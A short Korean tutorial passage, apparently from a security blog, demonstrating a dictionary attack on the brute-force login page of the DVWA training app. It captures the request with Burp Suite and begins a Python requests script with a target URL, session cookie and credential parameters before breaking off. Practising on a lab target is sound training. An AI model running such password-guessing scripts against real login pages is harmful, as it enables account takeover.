오늘은 Dictionary Attack을 실습해 볼 것입니다 아무렇게나 입력하고 로그인 버튼을 눌러보면 이름, 비밀번호가 맞지 않다고 나옵니다. 버프스위트로 해당 패킷을 잡아보면 이렇게 나옵니다. 저는 파이썬 requests 모듈을 활용하여 실습을 해볼 겁니다. main.py import requests from fake_useragent import UserAgent def Attack(): URL = "http://10.211.55.7/DVWA/vulnerabilities/brute/" cookies = { "PHPSESSID" : "er8uv6cfg8ks2dua60gnof174q", "security" : "low" } params = { 'username' : '', 'password' : '',..
